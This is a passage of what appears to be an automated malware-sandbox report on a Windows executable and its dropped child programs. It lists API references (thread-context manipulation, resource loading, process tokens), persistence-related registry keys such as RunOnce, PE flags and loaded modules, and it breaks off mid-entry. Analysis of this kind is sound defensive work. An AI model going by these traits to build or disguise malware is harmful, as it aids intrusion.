"00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")3a:Td70,Found reference to API "LockResource" (Indicator: "LockResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")3b:Ta96,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp")3c:T46a,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")3d:T5ef,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")3e:Ta04,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe "System\CurrentControlSet\Control\Session Manager" in Source: 49638-17-0040256D "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00004156.00000001.93047.00B21000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00004880.00000001.92978.00E61000.00000020.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00004976.00000000.91175.01181000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005260.00000000.91286.00131000.00000020.mdmp3f:T6b5,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "hA8Nu84.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "cp7GF84.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "tb8sC54.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "AY1yn84.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "4HZ158BT.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "5gC9bz2.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "2TJ5569.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "1kw38Ju7.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE40:T627,Observed unmanaged function "DwmIsCompositionEnabled" in "4HZ158BT.exe" Observed unmanaged function "BitBlt" in "4HZ158BT.exe" Observed unmanaged function "CreateRoundRectRgn" in "4HZ158BT.exe" Observed unmanaged function "PathCompactPath" in "4HZ158BT.exe" Observed unmanaged function "ClientToScreen" in "4HZ158BT.exe" Observed unmanaged function "CreateWindowEx" in "4HZ158BT.exe" Observed unmanaged function "DestroyWindow" in "4HZ158BT.exe" Observed unmanaged function "DrawMenuBar" in "4HZ158BT.exe" Observed unmanaged function "FindWindow" in "4HZ158BT.exe" Observed unmanaged function "GetClassName" in "4HZ158BT.exe" Observed unmanaged function "GetClientRect" in "4HZ158BT.exe" Observed unmanaged function "GetCursorPos" in "4HZ158BT.exe" Observed unmanaged function "GetDCEx" in "4HZ158BT.exe" Observed unmanaged function "GetMonitorInfo" in "4HZ158BT.exe" Observed unmanaged function "GetScrollInfo" in "4HZ158BT.exe" Observed unmanaged function "GetSystemMenu" in "4HZ158BT.exe" Observed unmanaged function "GetWindowDC" in "4HZ158BT.exe" Observed unmanaged function "GetWindowLong" in "4HZ158BT.exe" Observed unmanaged function "GetWindowRect" in "4HZ158BT.exe" Observed unmanaged function "GetWindowText" in "4HZ158BT.exe" Observed unmanaged function "InsertMenu" in "4HZ158BT.exe" Observed unmanaged function "InsertMenuItem" in "4HZ158BT.exe" Observed unmanaged function "MonitorFromWindow" in "4HZ158BT.exe" Observed unmanaged function "RegisterHotKey" in "4HZ158BT.exe" Observed unmanaged function "ReleaseCapture" in "4HZ158BT.exe"41:T1ffb,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "KERNEL32" at base 74e30000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "KERNEL32.DLL" at base 74e30000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75e00000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "FECLIENT.DLL" at base 73130000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73100000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "NTDLL.DLL" at base 77860000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 741d0000 "hA8Nu84.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "hA8Nu84.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "hA8Nu84.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "hA8Nu84.exe" loaded module "KERNEL32" at base 74e30000 "hA8Nu84.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "hA8Nu84.exe" loaded module "KERNEL32.DLL" at base 74e30000 "hA8Nu84.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75e00000 "hA8Nu84.exe" loaded module "FECLIENT.DLL" at base 73130000 "hA8Nu84.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73100000 "hA8Nu84.exe" loaded module "NTDLL.DLL" at base 77860000 "hA8Nu84.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 741d0000 "cp7GF84.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "cp7GF84.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "cp7GF84.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "cp7GF84.exe" loaded module "KERNEL32" at base 74e30000 "cp7GF84.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "cp7GF84.exe" loaded module "KERNEL32.DLL" at base 74e30000 "cp7GF84.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75e00000 "cp7GF84.exe" loaded module "FECLIENT.DLL" at base 73130000 "cp7GF84.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73100000 "cp7GF84.exe" loaded module "NTDLL.DLL" at base 77860000 "cp7GF84.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 741d0000 "tb8sC54.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "tb8sC54.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "tb8sC54.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "tb8sC54.exe" loaded module "KERNEL32" at base 74e30000 "tb8sC54.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "tb8sC54.exe" loaded module "KERNEL32.DLL" at base 74e30000 "tb8sC54.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75e00000 "tb8sC54.exe" loaded module "FECLIENT.DLL" at base 73130000 "tb8sC54.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73100000 "tb8sC54.exe" loaded module "NTDLL.DLL" at base 77860000 "tb8sC54.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 741d0000 "AY1yn84.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "AY1yn84.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "AY1yn84.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "AY1yn84.exe" loaded module "KERNEL32" at base 74e30000 "AY1yn84.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "AY1yn84.exe" loaded module "KERNEL32.DLL" at base 74e30000 "AY1yn84.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75e00000 "AY1yn84.exe" loaded module "FECLIENT.DLL" at base 73130000 "AY1yn84.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73100000 "AY1yn84.exe" loaded module "NTDLL.DLL" at base 77860000 "AY1yn84.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 741d0000 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "1kw38Ju7.exe" loaded module "KERNEL32" at base 74e30000 "1kw38Ju7.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "1kw38Ju7.exe" loaded module "ADVAPI32.DLL" at base 75e00000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73040000 "1kw38Ju7.exe" loaded module "SHLWAPI.DLL" at base 74f00000 "1kw38Ju7.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75260000 "1kw38Ju7.exe" loaded module "VERSION.DLL" at base 73fa0000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72890000 "1kw38Ju7.exe" loaded module "USER32.DLL" at base 75e80000 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74f50000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "1kw38Ju7.exe" loaded module "MSCOREE.DLL" at base 730d0000 "1kw38Ju7.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75490000 "1kw38Ju7.exe" loaded module "PSAPI.DLL" at base 753e0000 "1kw38Ju7.exe" loaded module "RPCRT4.DLL" at base 742a0000 "1kw38Ju7.exe" loaded module "KERNEL32.DLL" at base 74e30000 "1kw38Ju7.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70520000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "1kw38Ju7.exe" loaded module "OLE32.DLL" at base 74a60000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75490000 "1kw38Ju7.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74f50000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72730000 "1kw38Ju7.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6fac0000 "1kw38Ju7.exe" loaded module "SSPICLI.DLL" at base 74280000 "1kw38Ju7.exe" loaded module "ADVAPI32" at base 75e00000 "1kw38Ju7.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "1kw38Ju7.exe" loaded module "NTDLL.DLL" at base 77860000 "2TJ5569.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "2TJ5569.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "2TJ5569.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "2TJ5569.exe" loaded module "KERNEL32" at base 74e30000 "2TJ5569.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "2TJ5569.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 74f50000 "2TJ5569.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75260000 "3Fr64vK.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "3Fr64vK.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "3Fr64vK.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "3Fr64vK.exe" loaded module "KERNEL32" at base 74e30000 "3Fr64vK.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731a0000 "3Fr64vK.exe" loaded module "USER32" at base 75e80000 "3Fr64vK.exe" loaded module "ADVAPI32" at base 75e00000 "3Fr64vK.exe" loaded module "SHELL32" at base 7600000042:T542,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "hA8Nu84.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "hA8Nu84.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "cp7GF84.exe" loaded module 